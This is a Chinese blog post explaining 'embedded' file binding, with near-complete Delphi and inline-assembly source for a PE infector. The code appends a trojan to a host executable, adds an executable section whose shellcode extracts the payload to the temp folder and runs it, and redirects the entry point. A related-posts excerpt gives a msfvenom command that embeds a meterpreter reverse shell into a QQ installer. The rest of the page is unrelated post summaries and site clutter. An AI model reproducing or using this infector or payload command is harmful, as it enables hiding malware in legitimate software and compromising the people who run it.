签入式捆绑

文件捆绑器的原理(转) 一、传统的捆绑器    这种原理很简单,也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当 A.exe被执行的时候,B.exe也跟着执行了。这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说,已经没什么技术含量了。    检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件,他的里面都包含了几个绝对固定的特点 阅读详情
 【摘要】
上次写到使用附加捆绑文件的方式. 这次介绍使用签入式捆绑
签入式捆绑的原理也很简单,
也是把木马程序附加到程序尾部 然后在原程序里添加一个代码节
用来把木马程序释放出来. 最后将原程序的入口点改成添加节的起始地址
由于这种试会改变原程序的大小,并且和程序运行的环境有关.
所以 .net或其它的虚拟机程序是不能被运行的.
还有一种就是有附加数据的程序  因为改变了文件的大小 如果强行捆绑 有可能会使原程序执行出错.
下面给出捆绑代码(请勿用于病毒传播) Demo下载

【全文】

procedure InfectOneFile(ASrcFileName,ADesFileName: string; const isCheck: Boolean = true);
var
  I: integer;
  F,F1: THandle;
  dReadNum: DWORD;
  DosHeader: TImageDosHeader;
  NTHeader: TImageNtHeaders; {NtHeader}
  NewSectionHeader,SEChea: TImageSectionHeader;
  nOldSectionNo: Integer;{节数目}
 OEP: Integer; {入口点}
 SectionAlign: Integer; {节对齐}
 FileAlign: Integer; {文件对齐}    
  Data: TDatas;
  pShell: PChar;
  nShellLen, nNewImageSize, nNewSizeofCode: Integer;
  jmp: BYTE;
  buf: array[0..$1000] of byte;
  TempPath: string;
  FileSize: Integer;
  label shellend, shell, Search, QUIT,RE;

begin
  TempPath := '';
  F := CreateFile(PChar(ADesFileName), GENERIC_READ or GENERIC_WRITE, 0, nil, OPEN_EXISTING, 0, 0);
  try
    //打开失败退出
    if F = INVALID_HANDLE_VALUE then
    begin
      {$IFDEF DEBUG} AddLog('打开文件失败'+ADesFileName); {$ENDIF}
      Exit;
    end;
    //检查是否PE文件
    ReadFile(F, DosHeader, SizeOf(TImageDosHeader), dReadNum, nil);      
    if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then
    begin
      {$IFDEF DEBUG} AddLog('不是PE文件'+ADesFileName); {$ENDIF}
      Exit;
    end;
   
    SetFilePointer(F, $30, nil, FILE_BEGIN);
    ReadFile(F, Data, SizeOf(TDatas), dReadNum, nil);
    if Data.ID = $88888888 then  {已经被附加}
    begin
      {$IFDEF DEBUG} AddLog('已经感染'+ADesFileName); {$ENDIF}
      Exit;
    end;
    //读取NTHeader
    SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN);
    ReadFile(F, NTHeader, SizeOf(NTHeader), dReadNum, nil);
    if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;
    if (NTHeader.FileHeader.Characteristics = $10E) and isCheck then
    begin
      {$IFDEF DEBUG} AddLog('.net或其它文件'+ADesFileName); {$ENDIF}
      Exit; //.net 或其它文件 不能附加
    end;

    nOldSectionNo := NTHeader.FileHeader.NumberOfSections;
    OEP := NTHeader.OptionalHeader.AddressOfEntryPoint;
    SectionAlign := NTHeader.OptionalHeader.SectionAlignment;
    FileAlign := NTHeader.OptionalHeader.FileAlignment;

    ZeroMemory(@NewSectionHeader, SizeOf(TImageSectionHeader));
    //读取最后一个节头
    SetFilePointer(F, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
    for i := 0 to nOldSectionNo - 1 do
       ReadFile(F, SEChea, SizeOf(TImageSectionHeader), dReadNum, nil);
    FileSize := GetFileSize(F, nil);  
    if (FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData) and isCheck then
    begin  //有附加数据不能附加
      {$IFDEF DEBUG} AddLog('.有附加数据不能感染'+ADesFileName); {$ENDIF}
      Exit;
    end;
    goto shellend;
    asm
    shell:
      pushad
      mov eax, fs:$30  //;PEB的地址
    mov eax, [eax + $0c]
      mov esi, [eax + $1c]
      lodsd
      mov eax, [eax + $08] //;eax就是kernel32.dll的基址
      mov edi, eax //同时保存kernel32.dll的基址到edi
  
    //通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址
      mov ebp, eax
      mov eax, [ebp + $3c]
      mov edx, [ebp + eax + $78]
      add edx, ebp
      mov ecx, [edx + $18]
      mov ebx, [edx + $20]
      add ebx, ebp
  
      Search:
        dec ecx
        mov esi, [ebx + ecx * 4]

        add esi, ebp
        mov eax, $50746547
        cmp [esi], eax  //比较"PteG"
        jne Search
        mov eax, $41636f72
        cmp [esi + 4], eax
        jne Search
        mov ebx, [edx + $24]
        add ebx, ebp
        mov cx, [ebx + ecx * 2]
        mov ebx, [edx + $1c]
        add ebx, ebp
        mov eax, [ebx + ecx * 4]
        add eax, ebp  //eax保存的就是GetProcAddress的地址  

        //为局部变量分配空间
        push ebp
        sub esp, $50
        mov ebp, esp
       
        mov [ebp + $10], eax //把GetProcAddress的地址保存到ebp + 10中 

        //查找  GlobalAlloc
        push DWORD PTR $636F6C
        push DWORD PTR $6C416C61
        push DWORD PTR $626F6C47
        push esp
        push edi
        call [ebp + $10]
        //mov [ebp + $14], eax //保存GlobalAlloc的地址到ebp + 14h

        push $1000 //分配$1000空间内存
        push GHND
        call eax
        mov [ebp + $4C], eax//保存hMem
        mov eax, [eax]  //
        mov [ebp + $4], eax
        //mov [ebp + $14], eax //保存指针  
        //mov eax, edx        
        mov [eax],DWORD PTR $61657243
        add eax, 4
        mov [eax],DWORD PTR $69466574                
        add eax, 4
        mov [eax],DWORD PTR $41656C
       
      //开始查找CreateFileA的地址, 先构造"CreateFileA/0"
        push [ebp + $4] //压入"CreateFileA/0"的地址
        push edi //edi:kernel32的基址
        call [ebp + $10] //返回值(即CreateFileA的地址)保存在eax中
        mov [ebp + $14], eax //保存CreateFileA的地址到ebp + 14h        
       
        //开始查找ReadFile的地址
        mov eax, [ebp + $4]        
        mov [eax],DWORD PTR $64616552
        add eax, 4
        mov [eax],DWORD PTR $656C6946
        add eax, 4
        mov [eax],DWORD PTR $0
               
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $18], eax //保存ReadFile的地址到ebp + 18h
       
        //查找 WriteFile
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $74697257
        add eax, 4
        mov [eax],DWORD PTR $6C694665
        add eax, 4
        mov [eax],DWORD PTR $65
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $1C], eax //保存WriteFile的地址到ebp + 1Ch
        //查找GetModuleFileNameA
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $4D746547
        add eax, 4
        mov [eax],DWORD PTR $6C75646F
        add eax, 4
        mov [eax],DWORD PTR $6C694665
        add eax, 4
        mov [eax],DWORD PTR $6D614E65
        add eax, 4
        mov [eax],DWORD PTR $4165
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $20], eax //保存GetModuleFileNameA的地址到ebp + 20h
        //查找SetFilePointer
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $46746553
        add eax, 4
        mov [eax],DWORD PTR $50656C69
        add eax, 4
        mov [eax],DWORD PTR $746E696F
        add eax, 4
        mov [eax],DWORD PTR $7265        
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $24], eax
        //查找 GetTempPathA
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $54746547
        add eax, 4
        mov [eax],DWORD PTR $50706D65
        add eax, 4
        mov [eax],DWORD PTR $41687461
        add eax, 4
        mov [eax],DWORD PTR $0
       
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $28], eax

        //查找CloseHandle
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $736F6C43
        add eax, 4
        mov [eax],DWORD PTR $6E614865
        add eax, 4
        mov [eax],DWORD PTR $656C64
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $2C], eax
        //查找WinExec
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $456E6957
        add eax, 4
        mov [eax],DWORD PTR $636578
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $30], eax 

        //获取文件名
        push $FF
        //lea eax, [ebp + $4]
        push [ebp + $4]
        push DWORD PTR $0
        call [ebp + $20] //GetModuleFileName    

        //打开文件
        push $0
        push $0
        push OPEN_EXISTING
        push $0
        push FILE_SHARE_READ
        push GENERIC_READ 
        push [ebp + $4]
        call [ebp + $14]
        mov [ebp + $34], eax //保存文件句柄
        cmp eax, $FFFFFFFF  //打开失败
        jz QUIT
        //SetFilePointer $30
        push $0
        push $0
        push $30
        push [ebp + $34]
        call [ebp + $24] //SetFilePointer
        //ReadFile ID
        push $0
        mov eax, [ebp + $4]
        push eax
        push $4
        add eax, 4
        push eax
        push [ebp + $34]
        call [ebp + $18] //ReadFile ID
        mov eax, [ebp + $4]
        add eax, 4
        cmp [eax], $88888888
        jnz QUIT
        //ReadFile Offset
        push $0
        mov eax,[ebp + $4]
        push eax
        push $4
        add eax, 4
        push eax //Offset
        push [ebp + $34]
        call [ebp + $18]
       
        //ReadFile  Size
        push $0
        mov eax,[ebp + $4]
        push eax
        push $4
        add eax, 8
        push eax //Size
        push [ebp + $34]
        call [ebp + $18]

        //SetFilePointer OffSet
        push $0
        push $0
        mov eax, [ebp + $4]
        add eax, 4
        push [eax]
        push [ebp + $34]
        call [ebp + $24]

        mov eax,[ebp + $4]
        add eax, $C
        push eax
        push $FF
        call [ebp + $28] //TempPath

        mov edx,[ebp + $4]
        add edx, $C
        add eax, edx         
        mov [eax],DWORD PTR $2E656d69
        add eax, 4
        mov [eax],DWORD PTR $657865
       
        //打开文件
        push $0
        push $0
        push CREATE_ALWAYS
        push $0
        push $0
        push GENERIC_WRITE
        push edx
        call [ebp + $14]  //CreateFile NewFile
        mov [ebp + $44], eax //保存文件句柄
        cmp eax, $FFFFFFFF
        jz QUIT

    RE: //ReadFile
        push $0
        mov eax,[ebp + $4]
        push eax
        push $FF
        add eax, $C
        add eax, $FF
        push eax//Buff
        push [ebp + $34]
        call [ebp + $18] //ReadFile
        //WriteFile
        push $0
        mov eax,[ebp + $4]
        push eax
        push [eax]
        add eax, $C
        add eax, $FF
        push  eax//Buff
        push [ebp + $44]
        call [ebp + $1C]
        mov eax, [ebp + $4]
        cmp [eax], 0
        jnz RE

        push [ebp + $44]
        call [ebp + $2c] //关闭新文件句柄
       
        push [ebp + $34]
        call [ebp + $2c] //关闭文件句柄

        //运行程序
        (这里省略一部分)        
        //释放内存  
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $626F6C47
        add eax, 4
        mov [eax],DWORD PTR $72466C61
        add eax, 4
        mov [eax],DWORD PTR $6565
        push [ebp + $4]
        push edi
        call [ebp + $10]  //GlobalFree
        push [ebp + $4C]
        call eax
               
    QUIT:  mov esp, ebp
        add esp, $50
        popad
    end;

    shellend:
    asm
      LEA EAX,shell
    MOV pShell,EAX;
    LEA EBX,shellend
     SUB EBX,EAX
     MOV nShellLen,EBX
    end;
    FileSize := GetFileSize(F, nil);
    SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN);

    if FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData then //有附加数据
    begin
      //将附加数据写入临时文件
      TempPath := GetTempDir + '{3B034D2C-A7B4-47D0-BA07-988E9359649D}';
      F1 := CreateFile(PChar(TempPath), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
      try
        if F1 = INVALID_HANDLE_VALUE then Exit;
        repeat
           ReadFile(F, buf, sizeOf(buf), dReadNum, nil);
           WriteFile(F1, buf, dReadNum, dReadNum, nil);
        until dReadNum = 0;
      finally
         CloseHandle(F1);
      end;
    end;
    //写入代码
    SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN);
    //原来的文件没有对齐
    if Align(SEChea.SizeOfRawData, FileAlign) <>  SEChea.SizeOfRawData then
    begin
      jmp := $00;
     for i := 0 to Align(SEChea.SizeOfRawData,FileAlign) - SEChea.SizeOfRawData - 1 do
       WriteFile(F, jmp, 1, dReadNum, nil);
    end;

    WriteFile(F, pShell^, nShellLen, dReadNum, nil);
    //SHELLCODE之后是跳转到原OEP的指令
   NewSectionHeader.VirtualAddress := SEChea.VirtualAddress
                          + Align(SEChea.Misc.VirtualSize,SectionAlign);
   jmp := $E9;
   OEP := OEP - (NewSectionHeader.VirtualAddress + nShellLen) - 5;
   WriteFile(F, jmp, sizeof(jmp), dReadNum, nil);
   WriteFile(F, OEP, sizeof(OEP), dReadNum, nil);
   //将最后增加的数据用0填充至按文件中对齐的大小
    jmp := $00;
    for i:=0 to Align(nShellLen,FileAlign) - nShellLen - 6 do
       WriteFile(F, jmp, 1, dReadNum, nil);
   //新区块中的数据
   Move('.data', NewSectionHeader.Name, 5);
   NewSectionHeader.PointerToRawData := SEChea.PointerToRawData + Align(SEChea.SizeOfRawData, FileAlign);
   NewSectionHeader.Misc.VirtualSize := nShellLen;
   NewSectionHeader.SizeOfRawData := Align(nShellLen, FileAlign);
   NewSectionHeader.Characteristics := $E0000020;//新区块可读可写可执行
   
    SetFilePointer(F, DosHeader._lfanew + SizeOf(TImageNtHeaders) + SizeOf(TImageSectionHeader) * nOldSectionNo, nil, FILE_BEGIN);
   //写入新的块表
   WriteFile(F, NewSectionHeader,SizeOf(TImageSectionHeader),dReadNum, nil);

   nNewImageSize := NTHeader.OptionalHeader.SizeOfImage + Align(nShellLen, SectionAlign);
   nNewSizeofCode := NTHeader.OptionalHeader.SizeOfCode + Align(nShellLen, FileAlign);

   NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress := 0;
   NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size := 0;
   NTHeader.OptionalHeader.SizeOfCode := nNewSizeofCode;
    NTHeader.OptionalHeader.SizeOfImage := nNewImageSize;
   NTHeader.FileHeader.NumberOfSections := nOldSectionNo + 1;
   NTHeader.OptionalHeader.AddressOfEntryPoint := NewSectionHeader.VirtualAddress;
    //写入更新后的PE头结构
    SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN);
   WriteFile(F, NTHeader ,Sizeof(TImageNTHeaders), dReadNum, nil);

    if TempPath <> '' then  //将附加数据写回来
    begin
      F1 := CreateFile(PChar(TempPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      try
        if F1 = INVALID_HANDLE_VALUE then Exit;
        SetFilePointer(F, NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData, nil, FILE_BEGIN);
        repeat
           ReadFile(F1, buf, sizeOf(buf), dReadNum, nil);
           WriteFile(F, buf, dReadNum, dReadNum, nil);
        until dReadNum = 0;
      finally
         CloseHandle(F1);
         DeleteFile(PChar(TempPath));
      end;
    end;
    //写入附加数据
    F1 := CreateFile(PChar(ASrcFileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
    try
      if F1 = INVALID_HANDLE_VALUE then
      begin
        {$IFDEF DEBUG} AddLog('打开源文件失败'+ASrcFileName); {$ENDIF}
        Exit;
      end;
      Data.ID := $88888888;
      Data.Offset := NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData;
      Data.Size := GetFileSize(F1, nil);
      SetFilePointer(F, $30, nil, FILE_BEGIN);
      WriteFile(F, Data, SizeOf(TDatas), dReadNum, nil);
      SetFilePointer(F, 0, nil, FILE_END);
      SetFilePointer(F1, 0, nil, FILE_BEGIN);
      repeat
         ReadFile(F1, buf, sizeOf(buf), dReadNum, nil);
         WriteFile(F, buf, dReadNum, dReadNum, nil);
      until dReadNum = 0;
    finally
       CloseHandle(F1);  
    end;
  finally
    CloseHandle(F);
  end;
  {$IFDEF DEBUG} AddLog(ASrcFileName+'感染成功'+ADesFileName); {$ENDIF}
end;

--------------------------------------------------------------------------------
msfconsole捆绑木马 捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面. 阅读详情

相关推荐

文件捆绑器的编写

将多个文件合并成一个最终可执行文件,运行这个最终合成文件后,就相当于运行了合并前的多个文件,这种程序在木马或后门程序合并中会经常用到,你想知道它是怎么用程序实现的么?下面我就用VC6做的一个文件捆绑器的例子来告诉你。 其实文件捆绑器的构成思想非常简单:合并文件时,建立一个新的二进制文件,先写入你的自身捆绑程序的数据和文件长度,再写入你要捆绑的第一个文件的数据和其文件长度,跟着写入你要捆绑的第二

retty资料库 1696

PE文件捆绑原理及源码

文章转载:pt007@vip.sina.com信息来源:邪恶八进制信息安全团队(www.eviloctal.com)文章的原文地址及代码地址在http://forum.eviloctal.com/thread-43020-1-1.html注:文章首发I.S.T.O信息安全团队,后由作者友情提交到邪恶八进制信息安全团队技术讨论组。出处:部分内容整理自网络前置知识:PE WIND...

weixin_34018202的博客 1739

微PE(安全无捆绑的PE、U盘装机工具)

大X菜、老X桃、UX动、UX度......众多的U盘装机工具,你用过几款?装机后发现电脑已经自动安装了好多垃圾软件了吧?其实这都是U盘装机工具的捆绑“福利”呀! 中国最纯净的U盘装机工具“微PE”——跨时代的PE工具箱,装机维护最得力的助手,最后的救命稻草。化繁为简,小材大用,一键安装,极速启动。 操作系统支持:Windows 10/8.1/8/7/Vista/XP/2000,Windows Server 2003/2008/2011/2012

ud分区删除工具_IT天空出品,另一款纯净无捆绑的PE工具箱——优启通

优启通(EasyU,简称EU)是IT天空精心打造的一款系统预安装环境(PE),与现有的Windows操作系统极为相似,好像是修改的企业版而来的,好久没用记不太清了。优启通具有广泛兼容、稳定耐用、快速启动、体积小巧等特点,但它相对于微PE而言,也所整合的工具较多,而且全。同时支持联网,如果装机过程中发现少了什么文件可以直接联网下载。另外优启通搭载着IT天空数款自己研制的软件,十分有效的提高了系统安装...

weixin_39613089的博客 1766

PE文件捆绑工程源码下载

将要绑定的exe文件作为单纯的数据放在目标exe文件的新区快当中,目标文件在执行时检测是否有该区块,有,则创建新文件并创建进程,执行完毕后删除新建文件

rollup-plugin-multi-input:捆绑模块化库的插件

汇总插件多输入 一个汇总插件,用于将模块化库与子目录捆绑在一起。 使用多个入口点。 在条目中使用glob。 在dist文件夹中保留src树结构。 安装 通过npm或yarn进行安装。 npm i -D rollup-plugin-multi-input yarn add rollup-plugin-multi-input 设置 在汇总配置中 import multiInput from 'rollup-plugin-multi-input' ; export default { // use glob in the input input : [ 'src/**/*.js' ] , output : { format : 'esm' , dir : 'dist' } , plugins : [ multiInput (

微PE官网安全提醒:制作系统维护盘时避免捆绑软件污染开发环境

在使用lora-scripts等工具进行LoRA微调时,系统环境的纯净度直接影响训练稳定性与效率。第三方捆绑软件常导致显存占用、CUDA冲突等问题,尤其在消费级显卡上易引发OOM错误。通过可信微PE启动盘重装系统,可避免后台进程干扰,确保算力高效利用。

weixin_28771751的博客 624

[Unity]-[UI]-[Image] 关于UI精灵图资源导入设置的详细解释

如果纹理存储了有特定含义的信息,并且您需要着色器中的确切值(例如,平滑度或金属度),请禁用此属性。此选项允许将纹理编码为特定格式(RGBM 或 dLDR,具体取决于平台)并通过后期处理步骤对纹理数据进行处理(推拉式扩张通道)。使用在3D模型的专业法线贴图。通用的纹理类型,一般在Material上的材质图片参数使用,比如漫反射、法线贴图这些。​​Compression​​:ASTC 6x6(移动端)或DXT5(PC)​​Compression​​:BC5(PC)或ASTC 6x6(移动端)

sky_smile_Allen的博客 2172

PE文件的基本结构-2 NT头

<br />1 PE文件头(NT文件头)<br />从DOS文件头的_lfanew字段(文件头偏移003ch)得到真正的PE文件头位置[$0000 0100]后,现在来看看它的定义,PE文件头是由IMAGE_NT_HEADERS结构定义的:<br />PImageNtHeaders = ^TImageNtHeaders;<br />_IMAGE_NT_HEADERS = packed record<br />    [$0100]Signature: DWORD;<br />    [$0104]FileH

zhangxinrun的专栏 1370

【网络】PFC背景和原理 、文档(DCB=PFC + ETS,DCBX=DCB扩展)

目录 零、背景 一、PFC 1.概述 2.报文格式 3.工作机制 二、ETS 产生原因 基本原理 优先级组的调度 优先级的调度 三、DCBX 产生原因 基本原理 DCBX TLV介绍 五、PFC 拥塞研究(文档收集) 六、DC-QCN算法 (网络工程师必会) 7.1 α更新 7.2 降速 7.3 提速 8.总结 ...

小鱼菜鸟的博客 2167

ArcGIS利用模型构建器批量导出nc文件中的不同波段数据

ArcGIS利用模型构建器批量导出nc文件中的不同波段数据

Yuanbaokk的博客 7258

栈的入栈出栈问题解决思路

参考资料: 夏广成的简书博客:https://www.jianshu.com/p/e91cdf745048 牛客专项训练 例题展示: 设有四个元素A、B、C、D顺序进栈,在进栈过程中可以出栈,出栈次序错误的排列是: ABCD DCBA ACBD BCDA ACDB DCAB 分析: A进A出,B进B出,C进C出,D进D出。 ABCD依次进入,DCBA依次输出。 A进A出,BC进CB出,D进D出。 A进,B进B出,C进C出,D进D出,A出。 A进A出,B进,C进C出,D进D出,B出。 总结:如果这

fanyx_working的博客 2065

Zigbee开发环境搭建:从驱动安装到程序烧录全指南

本文提供了一份详尽的Zigbee开发环境搭建全指南,涵盖从驱动安装到程序烧录的完整流程。重点介绍了使用SmartRF Flash Programmer和仿真器进行程序下载的关键步骤,并详细说明了USB转串口驱动的配置方法,帮助开发者快速构建稳定的Zigbee开发基础。

weixin_29195217的博客 395

android开发apk捆绑,Android 下 APK 捆绑器的实现

Android 下 APK 捆绑器的实现作者: 海东青利用捆绑器向正常程序捆绑病毒、木马等恶意程序,以达到隐蔽安装、运行的目的,这在 Windows 平台下是一种很常规的攻击手段。那么,在智能终端十分流行的今天,如何实现针对手机应用的捆绑器呢?对此,本文针对 Android 平台的应用程序 APK 文件,给出了类似 Windows 下捆绑器的实现方案。原理与基础对任意的两个 APK 应用程序 A ...

weixin_31764271的博客 2066

VisionMaster Qt二次开发:图像获取、COM组件渲染与本地化存储实战

本文详细介绍了基于VisionMaster进行Qt二次开发的核心实战流程,涵盖环境搭建、方案加载、图像数据获取、COM组件渲染与本地化存储。重点解析了如何通过COM组件在Qt界面中实时显示图像,以及将VM图像数据转换为QImage并保存为本地文件的关键步骤与常见问题,为工业视觉项目开发提供稳定高效的解决方案。

weixin_29229261的博客 207

2025年第十六届蓝桥杯省赛C/C++大学B组 个人题解

也是写了写部分题解,朱波也是狠狠水了个省二┭┮﹏┭┮,毕竟许多算法知识没怎么学。

2301_80173664的博客 2435

捆绑包的使用

在一般的Web项目开发中,如果需要引入外部的JS或者CSS文件,都是通过script、link标签的形式引入,这些的话在页面加载时浏览器需要发送一些资源的请求,并且在其他页面中,需要使用的话,则是通过这种方式使用。 1.新建MVC项目,在Home控制器中添加Edit动作方法: using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; namespace

qq_34550459的博客 1952

STM32 IIC温湿度传感器(STH45)实验

精度 ΔRH = ±1.0 %RH, ΔT = ±0.1 °C• 平均电流:0.4 μA,空闲电流:80 nA• I2C FM、CRC 校验和、乘法。I2C 地址。• 专利保护选项 [1]、PTFE 膜和可拆卸保护盖• 工作范围:0 …100 %相对湿度,−40…125 摄氏度• 在冷凝环境中功能齐全• 动力加热器,真正的NIST可追溯性• JEDEC JESD47 认证 • 符合 ISO 17025 : 2017 的传感器专用校准证书,3 点温度校准。

baidu_34971492的博客 3075

android捆绑demo_Android捆绑通知

android捆绑demoIn this tutorial, we’ll be implementing Bundled Notifications in our Android Application. We’ve seen and implemented Direct Reply for Android Nougat. If you aren’t aware about Notificatio...

从零开始的教程世界 779

基于matlab的图像HOG特征提取算法仿真

方向梯度直方图(Histogram of Oriented Gradient, HOG)特征是一种在计算机视觉和图像处理中用来进行物体检测的特征描述子。它通过计算和统计图像局部区域的梯度方向直方图来构成特征。Hog特征结合SVM分类器已经被广泛应用于图像识别中,尤其在行人检测中获得了极大的成功。需要提醒的是,HOG+SVM进行行人检测的方法是法国研究人员Dalal在2005的CVPR上提出的,而如今虽然有很多行人检测算法不断提出,但基本都是以HOG+SVM的思路为主。

平时工作较为繁忙,私信消息一般晚上回复,谢谢大家~~ 732

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

文件的捆绑与分解

一、文件捆绑      该方法只是实现文件二进制流的附加,并没有改变文件的结构。      建立一个新的二进制文件,先写入第一个捆绑文件的数据和其文件长度,后再直接写入第二个文件的数据和文件长度……。注: 第一个捆绑文件代码这里执行分解文件的操作,则实现了当运行捆绑后的文件时,即把捆绑的文件分解出来,并运行,进行特定操作。而这里在首文件后的数据只是以二进制流的方式加在了首文件尾部,之后

1224

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

文件捆绑器原理

文件捆绑器编写 1)原理 1. 捆绑的程序分为三个部分,然后末尾追加的分别是程序名字 大小 分别30个字节来存储 ------加载程序 ------捆绑程序1 ------捆绑程序2 ------捆绑程序1文件大小 ------捆绑程序2文件大小 ------捆绑程序1文件名字 ------捆绑程序2文件名字 2. 加载程序作用:就是将程序1写出一个文件,程序2写出一个文件,然后执行这两个文件 2...

weixin_44527121的博客 3014

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

winrar捆绑软件

常见的cpa静默包玩法通常是捆绑在某软件上,用户打开则一起运行(cpa静默包在后台运行安装),但是多数捆绑方法都会将捆绑后的软件报毒,而一般站长又都不会做免杀,就导致了通常静默包通常只用于捆绑一些本来就报毒的软件,譬如游戏外挂此类。然后通过文字引导用户关闭杀毒软件,达到“免杀”的效果。采用winrar(免杀)实现软件的捆绑,这样的捆绑对于绝大部分的普通用户还是很有迷惑性的,但是细心一点的就能发现问题

shuxingcq的博客 4942

木马捆绑攻击深度剖析:原理、实现与高级防御

在网络安全的黑产链条中,木马捆绑技术如同恶意软件的 “特洛伊木马”,通过与正常文件或程序捆绑,绕过用户警惕性实现渗透。从传统的可执行文件捆绑到现代的多媒体文件隐藏,捆绑技术不断进化,成为网络攻击的重要载体。本文将系统剖析各类木马捆绑技术的原理、实现方式及防御手段,帮助读者全面理解这一隐蔽的攻击形式。

xx16755498979的博客 1808

木马捆绑技术全接触:原理分析、攻击实例与防御指南

在网络安全的黑产链条中,木马捆绑技术如同恶意软件的 “特洛伊木马”,通过与正常文件或程序捆绑,绕过用户警惕性实现渗透。从传统的可执行文件捆绑到现代的多媒体文件隐藏,捆绑技术不断进化,成为网络攻击的重要载体。本文将系统剖析各类木马捆绑技术的原理、实现方式及防御手段,帮助读者全面理解这一隐蔽的攻击形式。

xx16755498986的博客 2091

链路捆绑

把两台设备之间的链路聚集在一块,当做一条逻辑链路使用。以实现出/入流量吞吐量在各成员端口的负荷分担,交换机根据用户配置的端口负荷分担策略决定网络封包从哪个成员端口发送到对端的交换机。当交换机检测到其中一个成员端口的链路发生故障时,就停止在此端口上发送封包,并根据负荷分担策略在剩下的链路中重新计算报文的发送端口,故障端口恢复后再次担任收发端口。

weixin_46355881的博客 840
上一篇: 揭露AMR隐私 - OD 手脱带 KEY 的 ARM 程序
下一篇: 文件捆绑感染(一)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值